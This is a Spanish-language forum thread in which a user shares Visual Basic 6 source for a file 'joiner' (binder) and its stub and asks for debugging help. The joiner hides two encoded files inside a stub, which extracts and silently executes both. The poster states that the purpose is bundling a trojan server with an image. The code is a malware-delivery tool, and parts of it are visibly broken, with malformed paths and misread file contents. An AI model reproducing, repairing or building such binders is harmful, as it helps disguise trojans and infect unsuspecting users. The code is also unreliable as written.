Mensajes

Si,si lo hice casi todo con ayuda de tu manual,pero no sé en que fallo,a ti te da error?
Gracias y saludos.

El stubb lo tengo renombrado a hen.dll,lo tengo en la misma carpeta que el joiner,y sigue sin funcionar,el stubb le doy generar hen.dll,me la genera y la pongo donde el joiner.Y no va.
Gracias y saludos.

Hola,estoy un poco desesperado,estoy haciendo un joiner y no me va,asique pongo el code,a ver si vesi algun error:

Código [Seleccionar] Expandir

Private Sub Command1_Click()
cd.ShowOpen
Text1.Text = cd.FileName

End Sub
Private Sub Command2_Click()
cd.ShowOpen
Text2.Text = cd.FileName

End Sub

Private Sub Command3_Click()
Dim tamaño As String
Dim total As String * 9
Dim encriptacion As String
Dim extension1 As String * 4
Dim extension2 As String * 4
Dim tamaño2 As String
Dim total2 As String * 9


Dim encriptacion2 As String
Dim ruta As String
cd.ShowSave
ruta = cd.FileName
FileCopy App.Path & "\hen.dll", ruta
Open Text1.Text For Binary As #1
tamaño = LOF(1)
Get #1, , tamaño
Close #1
tamaño = HuffmanEncode(tamaño, True)
total = Len(tamaño)
Open Text2.Text For Binary As #1
tamaño2 = Space(LOF(1))
Get #1, , tamaño2
Close #1
tamaño2 = HuffmanEncode(tamaño2, True)
total2 = Len(tamaño2)


extension1 = Right$(Text1.Text, 3)
extension2 = Right$(Text2.Text, 3)



Open ruta For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , tamaño
Put #1, , tamaño2
Put #1, , total
Put #1, , total2
Put #1, , extension1
Put #1, , extension2
Close #1
MsgBox "Archivos juntados!", , "Trébol Joiner v.1"
End Sub

Private Sub CommandXP1_Click()

End Sub

Private Sub CommandXP4_Click()
formjoin.Hide
Form1.Show
End Sub



End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
STUBB:

Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long





Private Sub Form_Load()

Dim total As String * 9
Dim total2 As String * 9
Dim a2 As Long
Dim b2 As Long
Dim extension1 As String * 4
Dim extension2 As String * 4
Dim archivo1 As String
Dim archivo2 As String

Dim tamaño As String
Dim tamaño2 As String
Dim desn1 As String
Dim desn2 As String
Dim ruta As String

ruta = App.Path & "\" & App.EXEName & ".exe"
Open ruta For Binary As #1
Seek (1), LOF(1) - 25
Get #1, , total
Get #1, , total2
Get #1, , extension1
Get #1, , extension2
Close #1
archivo1 = Trim(extension1)
archivo2 = Trim(extension2)
a2 = Trim(total)
b2 = Trim(total2)
tamaño = Space(total)
tamaño2 = Space(total2)



Open ruta For Binary As #1
Seek (1), LOF(1) - (a2 + b2 + 25)
Get #1, , tamaño
Get #1, , tamaño2
Close #1

desn1 = HuffmanDecode(tamaño)
desn2 = HuffmanDecode(tamaño2)
Open ruta & "c:\uno" & "." & extension1 For Binary As #1
Put #1, , desn1
Close #1
Open ruta & "c:\dos" & "." & extension2 For Binary As #1
Put #1, , desn2
Close #1
ShellExecuteA Me.hWnd, "Open", ruta & "\uno" & "." & extension1, vbNullString, vbNullString, 1 ' Y ahora los ejekutamos...
ShellExecuteA Me.hWnd, "Open", ruta & "\dos" & "." & extension2, vbNullString, vbNullString, 1

End
End Sub







Gracias y saludos.

No ya esta,xD.Una tonteria.

todo este kodigo lo tienes en un modulo???todo el kode que me as pasado???

Salu2

No..xD,xD.Lo tengo en el form load,eso es otra cosa.Pero ya esta solucionado gracias.
Saludos.

Ya esta solucionado,xD.Una tonteria.
Gracias Hendrix.

Ya esta solucionado,gracias.

La api shellexecuteA me da  'no se encontó el metodo o miembro de datos' eso me lo dice a .hWnd
Que pasa?He mirado el code y esta bien.
La api he hecho copiar pegar,y no puede ser que haya copiado mal o que en el sitio estuviera mal porque lo he hecho de sitios diferentes,y varias veces para ver si era eso.
El hwnd esta perfectamente declarado.

Bueno me he quedado mas o menos con la idea,gracias CeLaYa.
Por cierto,ya encontré lo del progressbar distinto,encontré un control de usuario que la barra era verde y otro azul y son distintos,si alguien lo quiere que lo pida.
Saludos.

Un joiner junta varios archivos en uno,por ejemplo el server de un troyano con una imagen,mirate en troyanos y virus,Cactus joiner.
Joiner=Binder.
Es mi primer joiner,es muy cutre y junta solo dos archivos,pero es el primero,xD.Bueno a ver si alguien sabe sobre el progressbar.
Saludos y gracias.

Se me acaba de ocurrir algo,pero creo que es un poco chapuza,por ejemplo cada cosa que haga el joiner,luego le añado que sume +10 el tamaño del progressbar,asi cuando haga la ultima funcion se completará.